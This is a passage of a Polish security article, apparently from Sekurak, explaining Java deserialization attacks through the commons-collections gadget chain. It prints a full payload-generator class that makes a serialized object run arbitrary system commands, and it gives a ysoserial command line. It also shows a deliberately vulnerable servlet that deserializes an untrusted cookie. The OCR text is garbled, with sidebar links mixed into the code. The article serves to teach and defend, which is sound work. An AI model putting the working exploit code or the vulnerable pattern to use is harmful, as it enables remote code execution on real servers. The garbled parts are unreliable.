i @gebl taricucha gadzetoéw (a wiasciwie jego wariacje). Zanim jednak to zrobie,
przydatoby sie odpowiedzie¢ na jedno pytanie — na ile popularna jest biblioteka
commons-collections? Z calag pewnoscia nie jest uzywana wszedzie. Jak sie oka-
zuje, jest jednak uzywana na tyle czesto, ze odnaleziony tancuch jest bardzo nie-
bezpieczny. Dla przyktadu, serwery aplikacji WebLogic, WebSphere i JBoss, a tak-
ze aplikacje Jenkins i OpenNMS okazaty sie by¢ podatne. Wsréd wiekszych portali
internetowych problemy znaleziono na przyktad w serwisie PayPal. Zdecydowanie
nie jest to wiec rzecz, ktérg mozna ignorowac.

APACHE COMMONS-COLLECTIONS GADGET CHAIN

W porzadku, czas na obiecany opis ciggu gadzetéw. Nie jest to oryginalny fan-
cuch od @frohoff i @gebl - jest on zaczerpniety z prezentacji Matthiasa Kaisera,
i wedtug mnie jest troche prostszy do zrozumienia. Od razu zaznaczg, iz roznice
w obu tancuchach sa kosmetyczne - efekt jest ten sam.

Ponizszy opis nie jest trywialny do zrozumienia. Wymaga dokladnej analizy kodu i znajo-
moSci jezyka Java. Jest on jednak doskonatym przykladem na to, ze skomplikowane wcale
nie réwna sie nieexploitowalne. Zrozumienie zasady dziatania tancucha gadzetéw nie jest
konieczne do umiejetnosci wykorzystania podatnosci —jesli wiec opis wyda sie Czytelnikowi
zbyt skomplikowany lub nieinteresujacy, zapraszam od razu do nastepnej czesci artykutu,
w ktérej oméwie praktyczne wykorzystanie btedu.

Zacznijmy od poczatku. Jak wiemy, chcemy wywotaé nasz dowolny kod podczas
deserializacji. Wspomniatem juz, ze jedng z metod na to jest znalezienie klasy za-
wierajacej podatna implementacje metody readObject (). Przyktadem takiej kla-
sy jest AnnotationInvocationHandler (zawarta w JRE). Oto jej definicja:

/* ... Nagtéwki, importy, nic ciekawego ... */

/**

* InvocationHandler for dynamic proxy implementation of Annotation.

*

* @author Josh Bloch

* @since 5

*/

. class AnnotationInvocationHandler implements InvocationHandler, Serializable {
10. private final Class<? extends Annotation> type;

11. private final Map<String, Object> memberValues;

12.

VoOoONOTUVTEA WNBR

13. AnnotationInvocationHandler
(Class<? extends Annotation> type, Map<String, Object> memberValues) {
14. type = type;
15. memberValues = memberValues;
16. }
17.
18. /* ... Duzo nieinteresujacego dla nas kodu ... */
19.
20. private void readObject(java.io.ObjectInputStream s)
21. throws java.io.IOException, ClassNotFoundException {
22. s.defaultReadObject();
23.
24, AnnotationType annotationType = null;
25. try {
26. annotationType = AnnotationType.getInstance(type);
27. } catch(IllegalArgumentException e) {
28. return;
29. }
30.
31. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
32.
33. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
34. String name = memberValue.getKey();
35. Class<?> memberType = memberTypes.get(name);
36. if (memberType != null) {
37. Object value = memberValue.getValue();
38. if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
39. memberValue.setValue(
40. new AnnotationTypeMismatchExceptionProxy(
41, getClass() + "[" + value + "]").setMember(
42, members().get(name)));
43, }
44, }
45, }
46. }
47. }

Widzimy kilka rzeczy. Po pierwsze, klasa ta zawiera dwa pola: type (typ: Class)
i memberValues (typ: Map). Po drugie, widzimy, ze mamy zdefiniowana metode
readObject (), czyli to czego szukamy. Pobiezny rzut oka na jej definicje pokazuje,
ze metoda ta najpierw wywotuje domyslng implementacje ObjectInputStream.
defaultReadObject(), a nastepnie dokonuje sprawdzenia poprawnosci wczyta-
nego obiektu, nadpisujgc odpowiednio niektére pola. Wiemy zatem, ze pola type
i memberValues mozemy ustali¢ na dowolng wartos$¢ (z doktadnoscig do typu),
gdyz defaultReadObject () ustawi je odpowiednio podczas deserializacji.
Przeanalizujmy doktadniej, co sie dzieje:
» Zaczynajac od Linii numer 22 deserializujemy obiekt za pomoca domysinej meto-
dy zObjectInputStream;
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» W liniach 24-29 prébujemy ustawic¢ zmienna (annotationType) nainstancje kla-
sy trzymanej przez (zdefiniowane przez nas) pole type. Zauwazmy, ze operacja ta
powiedzie sie tylko wtedy, gdy przy wywotaniu metody getInstance(Class)
nie zostanie rzucony wyjatek I1legalArgumentException;

» W linii 31 tworzymy obiekt memberTypes, ktory zawiera wynik zwracany przez
memberTypes (). Jest to po prostu mapa indeksowana nazwami pol konkretnej
klasy, odwotujaca sie do ich typow;

» W liniach 33-45 iterujemy sie po drugim ze zdefiniowanych przez nas pol
- memberValues. W kazdej iteracji mamy dostepny jeden element typu Entry
- memberValue;

» W liniach 34-35 pobieramy z memberValue klucz, a nastepnie wyszukujemy war-
tos¢ dla tego samego klucza w mapie memberTypes. Dalszy fragment kodu bedzie
wykonany tylko jesli taka warto$¢ zostanie znaleziona, co sprawdzane jest w linii 36;

» W liniach 37-43 pobieramy wartos¢ z memberValue, a nastepnie sprawdzamy,
czy typ tej wartosci jest zgodny z typem pobranym w poprzednich liniach zmem-
berTypes lub klasg ExceptionProxy. Jesli zaden z tych warunkoéw nie zostat
spetniony, wywotujemy metode setValue() z pewnym (nieistotnym z punktu
widzenia exploitacji) parametrem w linii 39.

Powyzszy fragment kodu nie jest trywialny, wiec polecam przeanalizowa¢ go do-

ktadnie. Jednak, nawet po gtebokiej analizie nie jest do konca jasne, w jaki sposéb

klasa AnnotationInvocationHandler nam pomaga - nigdzie nie wida¢ nasze-
go Swietego Graala, czyli uruchomienia dowolnego kodu (RCE). Wybiegajac troche

w przyszto$¢, zdradze, ze istotna dla nas jest linia 39 - jesli jestemy w stanie wy-

wota¢ metode setValue() na zdefiniowanej przez nas mapie (a przypominam

- mapa memberValues jest dostarczana przez nas w zserializowanym obiekcie,

a wiec mamy nad nig petng kontrole), bedziemy w stanie wywota¢ dowolny kod.

Zanim pokaze, jak to zrobi¢, upewnijmy sig, ze jesteSmy w ogole w stanie dojs¢ do

linii 39. Mamy trzy warunki do spetnienia:

1. W linii 26 nie moze zostac rzucony wyjatek.

2. Warunek w linii 36 musi by¢ spetniony, zatem kontrolowana przez nas mapa mem-
berValues musi posiadac klucz, ktéry znajduje sie réwniez w mapie member-
Types (kontrolowanej przez nas posrednio — za pomoca pola type).

3. Warunek w linii 38 musi byc¢ spetniony, a wiec typ wartosci z naszej mapy musi
byc¢ inny niz typ zwrécony z memberTypes, oraz inny niz ExceptionProxy.

Wyglada to moze dos¢ skomplikowanie, ale w praktyce okazuje sie, ze spetnienie
zatozen jest dos¢ proste.

Aby spetni¢ warunek 1, mozemy uzy¢ jako pola type na przyktad klasy Target
z JRE (powinna by¢ ona znana dobrze wszystkim programistom Javy). Klasa Tar-
get ma tylko jedno pole — value, zatem zgodnie z warunkiem 2, w zdefiniowane;j
przez nas mapie memberValues réwniez musimy mie¢ klucz value. Typ value
w Targetto ElementType[ ] — awiecdowolny inny typ w zdefiniowanej przez nas
mapie (a takze inny niz ExceptionProxy) spetni warunek 3. Takim typem (zeby nie
komplikowa¢ sprawy) bedzie na przyktad zwykty String. Okazuje sie wiec, ze aby
spetnic¢ wszystkie powyzsze warunki, wystarczy stworzy¢ klase AnnotationInvo-
cationHandler z nastepujacymi parametrami:

1. type -> java.lang.annotation.Target.class
2. memberValues -> {"value" -> "value"}

Skomplikowane zatozenia, jak sie okazuje, doprowadzaja do prostego payloadu :-)
Jest jeszcze jeden problem, ktéry musimy jednak rozwiagzac: aby stworzy¢ payload,
bedziemy musieli stworzy¢ obiekt klasy AnnotationInvocationHandler z wy-
zej wspomnianymi wartosciami.

Uwazny Czytelnik zauwazyt pewnie, ze konstruktor tej klasy jest typu package-
-private, a wiec nie mozemy go, ot tak po prostu, wywotac. Kazdy, kto jednak bawit sie
troche Java, wie, ze za pomoca refleksji jestesmy w stanie dobrac sie nie tylko do pél
i metod package-private, ale nawet private. Okazuje sie wiec, ze to nie jest problem
(przyktad jak to zrobi¢, bedzie zawarty w kodzie generujgcym petny payload ponizej).

Osobom, ktére zrozumiaty powyzsze wywody - gratuluje! | obiecuje: najtrudniej-
sza czes¢ juz za nami, teraz jest z gorki. Musimy tylko spowodowag, aby wywotanie
metody setValue() na naszej mapie uruchomito zdefiniowany przez nas kod...

Rozwazmy nastepna klase: TransformedMap, pochodzaca z biblioteki commons-
-collections. Klasa ta umozliwia nam dekorowanie dowolnej mapy. Oto jej kod zrédtowy:

1. /* ... Znéw nagidéwki, importy, komentarze ... */
2.
3. public class TransformedMap<K, V> extends AbstractInputCheckedMapDecorator<K,
V> implements Serializable {
4.
5. /* ... Kompletne nudy ... */
6.
7 public static Map decorate(
Map map, Transformer keyTransformer, Transformer valueTransformer) {
8. return new TransformedMap(map, keyTransformer, valueTransformer);
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9. }

10.

11. /* ... Smieci, $mieci ... */

12.

13, /**

14. * Override to transform the value when using <code>setValue</code>.
15. *

16. * @param value the value to transform

17. * @return the transformed value

18. * @since 3.1

19. */

20. @Override

21. protected V checkSetValue(final V value) {

22. return valueTransformer.transform(value);

23. }

24.

25. /* ... Reszta klasy, Kto by sie nig przejmowat ... */
26.

27. }

Majac dowolng mape, mozemy wywota¢ metode TransformedMap . decorate(Map
map, Transformer keyTransformer, Transformer valueTransformer) (linia
7), ktéra ja udekoruje. To, co nas jednak interesuje, to metoda checkSetValue() (li-
nia 21) — jak mozna przeczyta¢ w komentarzu, metoda ta bedzie zawsze wywotana
w momencie wywotania setValue() na naszej mapie. Co$ swita :-)?

Popatrzmy na implementacje tej metody: wywota ona metode transform()
na zdefiniowanym przez nas obiekcie klasy implementujacej interfejs Transform-
er (linia 22) - brzmi ciekawie.

Jakie obiekty spetniajace ten warunek mamy dostepne? Jest ich dos¢ duzo
(i z kilku z nich skorzystamy pdzniej), ale jeden powinien od razu rzucic sie w oczy
osobie interesujacej sie bezpieczenstwem: InvokerTransformer.

W tym momencie nie tyle powinna zapali¢ sie czerwona lampka, a powinny za-
wyc syreny, podczas gdy zatoga okretu zarzadza petng ewakuacje.

Ale nie uprzedzajmy faktow: jak wyglada klasa InvokerTransformer? Oto ona:

/* ... To co zwykle, a wiec nic interesujacego ... */

public class InvokerTransformer<I, O> implements Transformer<I, 0> {

/** The method name to call */
private final String iMethodName;

/** The array of reflection parameter types */
private final Class<?>[] iParamTypes;

RPROUONOOUVEAWNER

/** The array of reflection arguments */

12. private final Object[] iArgs;

13.

14. /* ... Tona kodu potrzebna nam po nic ... */

15.

16. [**

17. * Transforms the input to result by invoking a method on the input.

18. *

19. * @param input the input object to transform

20. * @return the transformed result, null if null input

21. */

22. @Override

23. @SuppressWarnings("unchecked")

24. public O transform(final Object input) {

25. if (input == null) {

26. return null;

27. }

28. try {

29. final Class<?> cls = input.getClass();

30. final Method method = cls.getMethod(iMethodName, iParamTypes);

31. return (0) method.invoke(input, iArgs);

32. } catch (final NoSuchMethodException ex) {

33. throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' does not exist");

34. } catch (final IllegalAccessException ex) {

35. throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");

36. } catch (final InvocationTargetException ex) {

37. throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception”, ex);

38. }

39.

40. }

Bingo! Analizujac metode transform() - linie 29-31 (reszta kodu tylko zaciemnia
nam istote dziatania), mozemy zauwazy¢, ze jesteSmy w stanie wywota¢ dowolng
metode, zdowolnymi argumentami, na obiekcie dostarczonym jej jako argument.

Dowolna metoda? W takim razie, sprébujmy wywota¢ fragment kodu, ktoéry juz
powinien wydawac sie znajomy kazdemu, kto kiedykolwiek exploitowat Jave: Run -
time.getRuntime().exec(command), gdzie command to zdefiniowane przez
nas dowolne polecenie systemowe. Niestety, nie jest az tak prosto — Invoker-
Transformer jest ciekawg klasa, ale nie umozliwia nam wywotania tak skompliko-
wanego ciggu instrukcji. Musimy p6js¢ troche naokoto.

Pierwszy problem, to ten, ze metoda getRuntime() jest metodg statyczna. In-
nymi stowy, nie mamy obiektu, na ktérym mozemy ja wywotac.

Jak mozna to obejs¢? Okazuje sie ze dos¢ prosto — uzyjemy refleksji. W zwigzku
z czym nasz ciag funkcji zmieni postac na nastepujacy:

Runtime.class.getMethod("getRuntime").invoke(null).exec(command)
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Ok, ale to nie koniec probleméw — powyzsza linia to ztozenie kilku wywotan funk- » InvokerTransformer
¢ji, a na dodatek musimy najpierw mie¢ dostep do obiektu Runtime.class. In- » ChainedTransformer
vokerTransformer jest w stanie wywotac tylko jedna funkcje. » ConstantTransformer
Co mozemy zrobi¢? Coz... jak wspomniatem wczesniej, mamy do dyspozycji Protokot WebSocket
inne klasy implementujace interfejs Transformer! Uzyjemy zatem dwéch z nich: Dla lepszego zrozumienia, powyzsze klasy i zaleznosci miedzy nimi zostaty przed-
» ConstantTransformer - jak sama nazwa wskazuje, transformer ten zawsze stawione na diagramie: Czym jest XPATH injection?

zwrdci nam pewng wartos¢, zdefiniowana na etapie tworzenia obiektu. W na-
szym przypadku? Runtime.class!

» ChainedTransformer - znéw nie powinno nikogo zdziwi¢, ze ten transformer
definiuje po prostu ztozenie innych transformeréw, a wiec umozliwi nam wywo-

Google Caja i XS5-y
- czyli jak dostac trzy razy bounty
za (prawie) to samo

fanie kilku metod na raz. Analiza ransomware napisanego
100% w Javascripcie — RAA
W porzadku, podsumujmy nasze uzycie transformeréw. Interesujgca dla nas bedzie

nastepujaca konstrukcja: Metody omijania mechanizmu
Content Security Policy (CSP.
1. Transformer[] transformers = new Transformer[] { Y y( )
2. new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] { String.class }, Nie ufan—Forwarded—For
new Object[] { "getRuntime" }),

w

4 new InvokerTransformer("invoke", new Class[] { Object.class }, new Object[] { null }),

5 new InvokerTransformer(“"exec", new Class[] { String.class }, new Object[] { command }) Java vs deserializacja
6. }; .

7. niezaufanych danych.
8. Transformer transformerChain = new ChainedTransformer(transformers); Czes’c’ 1: podstawy

Java vs deserializacja

Wszystkie klocki juz mamy — czas ztozy¢ naszg uktadanke. niezaufanych danych. Czes¢ 2:

Po pierwsze, przypomnijmy, z jakich klas bedzie sie sktadac nasz tancuch gadzetéw: mniej typowe metody ataku
Klasy z JRE: Java vs deserializacja
» AnnotationInvocationHandler niezaufanych danych. Czes¢ 3:
» HashMap metody obrony
» Map
» Runtime
» Target

Klasy z commons-collections:
» TransformedMap

» Transformer Rysunek 1.
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| ostateczny kod Javowy, ktéry wygeneruje nasz payload:

1. /* ... Importy ... */
2.
3. public class PayloadGenerator {
4.
5. public static void main(String[] args) throws Exception {
6. String command = args[e0];
7. Transformer[] transformers = new Transformer[] {
8. new ConstantTransformer(Runtime.class),
9. new InvokerTransformer("getMethod", new Class[] { String.class },
new Object[] { "getRuntime" }),
1e. new InvokerTransformer("invoke", new Class[] { Object.class },
new Object[] { null }),
11. new InvokerTransformer("exec", new Class[] { String.class },
new Object[] { command })
12. };
13.
14. Transformer transformerChain = new ChainedTransformer(transformers);
15.
16. Map originalMap = new HashMap();
17. originalMap.put("value", "value");
18. Map decoratedMap = TransformedMap.decorate(originalMap, null, transformerChain);
19.
20. Class ¢ = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
21. Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
22. ctor.setAccessible(true);
23. Object aih = ctor.newInstance(Target.class, decoratedMap);
24.
25. ObjectOutputStream oos = new ObjectOutputStream(System.out);
26. oos.writeObject(aih);
27. oos.close();
28.
29. }

Przeanalizujmy na koniec, krok po kroku, co sie stanie w momencie deserializacji

obiektu stworzonego powyzszym kodem:

1. Zserializowanym obiektemjestzmienna:aih-AnnotationInvocationHandler.

2. Podczas jego deserializacji, dzieki odpowiedniemu ustawieniu jego pél memberval -
uesitype,zostanie wywofana metoda setValue () naobiekciememberValue (En-
try) powstatym podczas iteracji przez (jednoelementowga) mape memberValues.

3. PoniewazmemberValues nie jest zwykia mapa, ale dekorowana (decoratedMap
Z naszego programu), zanim wywotamy metode setValue(), zostanie wywota-
na metoda checkSetValue() na obiekcie decoratedMap (TransformedMap).

4. Metoda checkSetValue() wywofa transformer transformerChain na warto-
$ci, ktérg chcemy ustawic.

5. Transformer po kolei:

» zwroci obiekt Runtime.class,

» wywota na nim metode getMethod("getRuntime"),

» nazwrdconym obiekcie Method wywota metode invoke(null),

» nazwréconym obiekcie Runtime wywota metode exec (command), gdzie com-
mand jest zdefiniowane jako argument naszego programu, i jest dowolng ko-
menda systemowa.

Proces dojscia do powyzszego fancucha gadzetéw jest dos¢ skomplikowany, ale
ostateczny kod powinien by¢ zrozumiaty dla wszystkich. Przypominam tez, ze pay-
load uzyty w zademonstrowanym za chwile przyktadzie, bedzie sie nieznacznie r6z-
nit od powyzszego (nie zauwazymy tego, gdyz nie bedziemy sie bawi¢ w analize
payloadu, ale wspominam o tym z kronikarskiego obowiazku). Obie jego wersje jak
najbardziej dziatajg (dla dociekliwych ¢wiczenie: po przeczytaniu artykutu propo-
nuje skompilowac powyzszy kod, uruchomic go, aby uzyskac payload, i dostarczy¢
do aplikacji z ponizszego przyktadu — wynik dziatania bedzie taki sam).
Czas przejs¢ do czesci praktycznej, a wiec exploitacji.

PODATNOSC DESERIALIZACJI W JEZYKU JAVA - PRAKTYKA

Zanim to jednak zrobimy, zauwazmy jedng rzecz - zaprezentowany przyktad
tancucha gadzetow jest dos¢ skomplikowany. Dodatkowo, serializacja w Javie jest
binarna (w przeciwienstwie na przyktad do serializacji PHP czy Python pickle),
a wiec tworzenie naszego payloadu nie bedzie trywialne (abstrahuje teraz od tego,
ze przed chwilg napisalismy generator payloadow — zauwazmy jednak, ze generator
ten zadziata tylko w jednym konkretnym przypadku fancucha gadzetéw).

Czy to duzy problem? Nie az tak :-) Panowie @frohoff i @gebl byli na tyle uprzej-
mi, ze udostepnili nam gotowe narzedzie o nazwie ysoserial - super proste w uzy-
ciu i umozliwiajace tworzenie dowolnych payloadéw, bez praktycznie zadnej zna-
jomosci Javy (level = script kiddie). Narzedzie to jest generalizacjg naszego kodu
generacji payloadu, dostosowanym do wygodnego zatgczania nowych ,modutéow”
(nowych taricuchow gadzetéw). Przyktadowe uzycie wyglada nastepujaco:

$ java -jar ysoserial.jar CommonsCollectionsl “touch /tmp/pwned” > payload

Po wykonaniu powyzszego polecenia w pliku payload bedziemy mieli nasz zseria-
lizowany tancuch gadzetéw. W dalszej czesci bede uzywat tego narzedzia do gene-
rowania payloadow.
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. . . . . . . SEKURAK.PL / [eJ3EuI\NS
Narzedzie ysoserial po wywotaniu bezargumentow, przedstawi nam liste dostep- ﬁ- 3%52?583%@’3?2?223?&bi°§ej gg;veEigﬁi\gziggﬁ‘;za‘gz‘;g«:?m() /
nych tancuchow gadzetéw - w naszych przyktadach bedziemy jednak zawsze uzy- 45, oos.writeObject(data);
. . . . . 46.
wacoryginalnegotaicucha od @frohoffi @gebl, nazwanego CommonsCollections. oo Cookie cookie = new Cookie("data", Base64.encodeBase6aString( )
. . 48. response.addCookie(cookie);
1. Prosta aplikacja 29 y o ( )
Na potrzeby demonstracji, przygotowatem bardzo prostg aplikacje webowa. g? dRedirect("/") Czym jest XPATH injection:
. . . response.sendRedirec 5
Sktada sie ona z jednego servletu: 52. } .
53. } Google Caja i XSS-y
1. @WebServlet( - czyli jak dostac trzy razy bounty
2. name = "Servlet" .
" za (prawie) to samo
3. 1Patt = . .
oy roranterns 7" | jednego pliku JSP:
5. public class Servlet extends HttpServlet { p .
6. 1. <html> Analiza ransomware napisanego
7. @verride 2. <head> 100% w Javascripcie — RAA
8. protected void doGet( 3 <title>Java deserialization example</title>
HttpServletRequest request, HttpServletResponse response) 4. <t/)hsad>
9. throws ServletException, IOException { > <body> Metody omijania mechanizmu
10. Cookie[] cookies = r\équest.getCOOkies()' 6 <h2>Logged in as <%= request.getAttribute("name") %></h2> Y J . .
11. ’ 7 <form action="/" method="POST"> Content Securlty PO“CV (CSP)
12. Data data = null; 8 Change your login: <input type="text" name="name" />
13. 9. <input type="submit"/> . .
14, if (null I= cookies) { 10. /;/SOPW Nie ufaj X-Forwarded-For
15. for (Cookie cookie : cookies) { 11.  </body>
16. if (cookie.getName().equals("data")) { 12. </html> Java vs deserializacia
17. try { J
18. byt ialized = Base64.decodeBase64(cookie.getVal ; . L . . . i )
i bytel]) serialized - Baseos. decodesasesd(conkie getvalue(); | Dyitane jest bardzo proste: po odwiedzeniu strony, servlet szuka ciasteczka data, T et
: . . - . X ? , . . . .. . zZesc I: poastaw
20. ObjectInputStream ois = new ObjectInputStream(bais); w ktorym zakodowane sg w base64 dane uzytkownika w postaci zserializowanej < P y
21. data = (Data) ois.readObject(); klasy Data:
23 e brintstacktracety; om0 e Java vs deserializacja
24. } 1. public class Data implements Serializable { niezaufanych danych. CZQSf 2:
25. } 2 Py
26. } 3 private String name; mniej typowe metody ataku
27. } 4,
28. 5. public Data(String name) { .y :
29. if (null == data) { 6 this.name = name; qua S deserlallzaqa L
30. data = new Data("Anonymous"); 7. 1} niezaufanych danych. Czes¢ 3:
31. ¥ 8 , , metody obrony
32. 9. public String getName() {
33. request.setAttribute("name", data.getName()); 10. return name;
34. request.getRequestDispatcher("page.jsp").forward(request, response); 11. }
35, } 12.
36. 13. public void setName(String name) {
37. @Override 14. this.name = name;
38. protected void doPost(HttpServletRequest request, HttpServletResponse response) 15. }
39. throws ServletException, IOException { 16.
40. if (null != request.getParameter("name")) { 17. }
41. Data data = new Data(request.getParameter("name"));
42.
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Gdy ciasteczko zostanie odnalezione, servlet odkoduje i zdeserializuje je, a na-
stepnie przekaze do wyswietlenia imie uzytkownika. W przeciwnym wypadku prze-
kaze imie ,Anonymous”:

Rysunek 2.

Strona umozliwia zmiane swoich danych. Gdy servlet dostanie zagdanie POST, zo-
stanie stworzony nowy obiekt typu Data, zawierajacy parametr z requestu name,
ktéry nastepnie zostanie zserializowany, zakodowany w base64 i wystany jako nowa
wartosc ciasteczka data do przegladarki.

Rysunek 3.

Jak wida¢, uzytkownik, modyfikujac ciasteczko, jest w stanie wymusic deserializacje
dowolnego obiektu, zatem punkty 1, 2, 3i 5 z naszej listy warunkéw na wykorzysta-
nie podatnosci deserializacji s spetnione.

Co z gadzetami? Czy mamy mozliwo$¢ uzyskania kontroli nad maszyna? Zobacz-
my na plik pom.xml:

(...)

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>

</dependency>

(...)

VooNOOUVTh WNR

Dofaczamy podatna wersje biblioteki commons-collections w zaleznosciach mave-
nowych. Oznacza to, ze powinnismy by¢ w stanie wykona¢ dowolny kod na serwerze.

Uwaga: zauwazmy, ze jesteSmy w stanie wykorzysta¢ podatno$¢ mimo tego, ze w zadnym
miejscu nie uzywamy commons-collections! Sam fakt, ze biblioteka znajduje sie na CLAS-
SPATH (tutaj: dotaczona przez mavena), jest wystarczajacy, zeby z niej skorzysta¢! Programi-
sta mogt dotaczyc¢ biblioteke ,,na pdzniej” lub tez zapomniec¢ o jej usunieciu. Mogta ona takze
by¢ dotaczona implicite przez dowolng inng biblioteke, ktorej uzyt.

W kazdym z tych przypadkéw jesteSmy podatni na zdalne wykonanie kodu!

Sprébujmy zatem dokonac¢ exploitacji, ale wczesniej zobaczmy nasze ciastko:

Rysunek 4.

Przypominam ze jest to nasz zakodowany w base64 i zserializowany obiekt Javowy.

§ Pro-tip

Kazdy zserializowany obiekt Javowy zaczyna sie od bajtéw ,,AC ED”, po ktérych nastepuje
numer wersji — wlaSciwie zawsze réwny ,,00 05”. Mozemy wykorzystac¢ to do latwego zweryfi-
kowania, czy mamy do czynienia z zserializowanym Javowym obiektem - po prostu szukamy
ciggu bajtéw ,, AC ED 00 05”. Ten sam cigg bajtéw zakodowany w base64 bedzie zaczynat sie od
,Y00”, a wiec nasze poszukiwania powinny réwniez uwzgledniaé te wartosc.

Nie pozostaje nic prostszego, niz podmienienie ciastka na naszg wartos¢ i odswie-
zenie strony - serwer zdekoduje nasze dane i przy odrobinie szczescia wykona nasz
kod. Jak wspomniatem wcze$niej, uzyjemy do tego narzedzia ysoserial:
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. S : . - : : SEKURAK.PL / PIFHEINE
Kolejny raz podswietlitem magiczne bajty. Po przeklejeniu wynikowego ciggu zna-

kow do wartosci ciastka i odswiezeniu strony, nasz serwer nie bedzie zadowolony:

tak jak wspominatem, prawda jest, ze zostanie rzucony wyjatek ClassCastExcep-

W pliku payload mamy teraz zserializowany fancuch gadzetéw. Mozemy podglad- tion. Nas to jednak nie obchodzi - jest za p6zZno, obiekt zostat stworzony, a nasz

n3a¢ go za pomoca hex viewera: payload wykonany. Dowodem na to jest fakt, ze rownolegle ze zwréconym btedem
500 z serwera, zobaczymy taki widok:

Rysunek 5.
Protokot WebSocket

Czym jest XPATH injection?

Google Caja i XS5-y
- czyli jak dostac trzy razy bounty
za (prawie) to samo

Analiza ransomware napisanego
100% w Javascripcie - RAA
Rysunek 6. L .
Metody omijania mechanizmu
Jak wida¢, nasze bajty sa na miejscu. Nastepnie musimy zakodowac nasz payload za Content Security Policy (CSP)

pomoca base64:
Nie ufaj X-Forwarded-For

Java vs deserializacja
niezaufanych danych.

Rysunek 8. Czes¢ 1: podstawy

Kalkulator == Game Over. e
Java vs deserializacja
niezaufanych danych. Czes¢ 2:
mniej typowe metody ataku

Java vs deserializacja
niezaufanych danych. Czes¢ 3:
metody obrony

Rysunek 7. Rysunek 9.
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PODSUMOWANIE SEKURAK.PL /

Jak wida¢, problemy bezpieczenstwa z deserializacjg wystepuja rowniez w Javie.
Co wiecej, tak jak w innych przypadkach, sg one bardzo tatwe do wyexploitowania
(szczegolnie z wykorzystaniem narzedzia ysoserial). Jedynym problemem sg gadzety, Protokot WebSocket
a tych nie brakuje (polecam odpali¢ ysoserial bez argumentéw i przejrze¢ petna liste).
Dodatkowo, jak wspomniatem wczeséniej, na poczatku maja 2016 wykonano
kolejny krok milowy — Matthias Kaiser odnalazt ciag gadzetéw pochodzacych tyl-
ko z JRE. Konsekwencji nie trzeba chyba nikomu ttumaczy¢ - potencjalnie kazdy
program Javowy uzywajacy serializacji jest podatny! Na szczescie, Oracle JRE7 jest
podatne tylko w bardzo starej wersji (JRE7u13), a aktualnie podatnosc¢ ta zostata
odnaleziona w OpenJDK?. Jakkolwiek JRE OpenJDK jest duzo mniej popularne JRE Analiza ransomware napisanego
od Oracle, nalezy jednak pamietac¢, ze jest ono domysinym srodowiskiem Javowym 100% w Javascripcie - RAA
dostepnym w wielu dystrybucjach Linuksa (m.in. Debian i Ubuntu).

Czym jest XPATH injection?

Google Caja i XS5-y
- czyli jak dostac trzy razy bounty
za (prawie) to samo

Metody omijania mechanizmu

W nastepnej czesci artykutu sprawdzimy, czy w Javie serializacja danych Content Security Policy (CS P)
do XML/JSON jest bezpieczniejsza od tej natywnej. Dodatkowo, przedstawie

nowe zagrozenia, ktére sg mozliwe do wykorzystania nawet jesli z jakich$ . .

powodéw (na przykiad - brak gadzetéw) RCE na serwerze jest nieosiggalne. Nie ufaj X-Forwarded-For

Java vs deserializacja
LINKI niezaufanych danych.

» http://frohoff.github.io/appseccali-marshalling-pickles/ e ey

» http://frohoff.github.io/owaspsd-deserialize-my-shorts/
» https://github.com/frohoff/ysoserial

» https://www.youtube.com/watch?v=VviY30-euVQ

» https://goo.gl/cx7X4D

» https://goo.gl/eJdAor Java vs deserializacja
niezaufanych danych. Czes¢ 3:
metody obrony

Java vs deserializacja
niezaufanych danych. Czes¢ 2:
mniej typowe metody ataku

Mateusz Niezabitowski jest bytym Developerem, ktéry w pewnym
momencie stwierdzit, ze wprawdzie tworzenie aplikacji jest fajne, ale psucie
ich jeszcze fajniejsze. Obecnie pracuje na stanowisku AppSec Engineer

w firmie Ocado Technology
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Java vs deserializacja niezaufanych
danych. Czes¢ 2: mniej typowe
metody ataku

W drugiej czesci artykutu oméwimy przypadki, kiedy pewne oryginalne
(mniej istotne) warunki exploitacji nie sg spetnione — konkretnie, gdy
nie mozemy znalez¢é gadzetéw prowadzgcych do RCE, lub gdy nie uzy-
wamy natywnej serializacji.

Przypominam Ze kod Zrédlowy uzyty w niniejszym artykule (za wyjatkiem kodu klas z JRE
i bibliotek) jest publicznie dostepny.

W poprzedniej czesci tej serii, omowilismy podstawy podatnosci zwigzanych z dese-
rializacja niezaufanych danych w Javie. Przedstawione tam zostaty konieczne
warunki dla exploitacji, a takze przyktadowy tancuch gadzetow ktéry umozli-
wia wykorzystanie deserializacji w celu osiggniecia RCE (zdalne wykonanie kodu
- ang. Remote Code Execution). Oméwilismy tez krétko narzedzie ysoserial, oraz
pokazalismy, jak w praktyce mozna wykorzysta¢ podatnos¢ na przyktadzie specjal-
nie napisanej aplikacji.

NATYWNA SERIALIZACJA ADOS

Po lekturze poprzedniego artykutu, mozna odnies¢ wrazenie, ze RCE poprzez
deserializacje obiektéw Javowych, to jedyny problem przed ktérym nalezy sie bro-
ni¢. Jest to jednak dalekie od prawdy - przyktad z RCE byt uzyty tylko i wylacznie
w celu zademonstrowania, jak potencjalnie niebezpieczna moze by¢ ta podatnosc.
W rzeczywistosci, konsekwencje exploitacji moga by¢ rézne, i zaleza tylko i wytgcz-
nie od dostepnych gadzetow. Dla przyktadu, ten artykut opisuje jak deserializacja
w PHP moze prowadzi¢ do usuniecia dowolnego katalogu (DoS), lub ataku typu
SQL Injection. Nie inaczej ma sie sprawa w Javie — jedyne, co ogranicza atakujgcego
- to gadzety. By¢ moze wiec, jestesmy w stanie znalez¢ odpowiednie klasy, ktére
mimo - ze nie prowadzg do RCE - skutecznie napsuja krwi osobom odpowiedzial-
nym za bezpieczenstwo aplikacji?

Okazuje sie, ze wyzej wspomniane klasy, nie dos¢ ze istnieja, to czesto dostepne
sq w samej JRE. Polecam poswieci¢ chwile dla zrozumienia powagi sytuacji - kazda

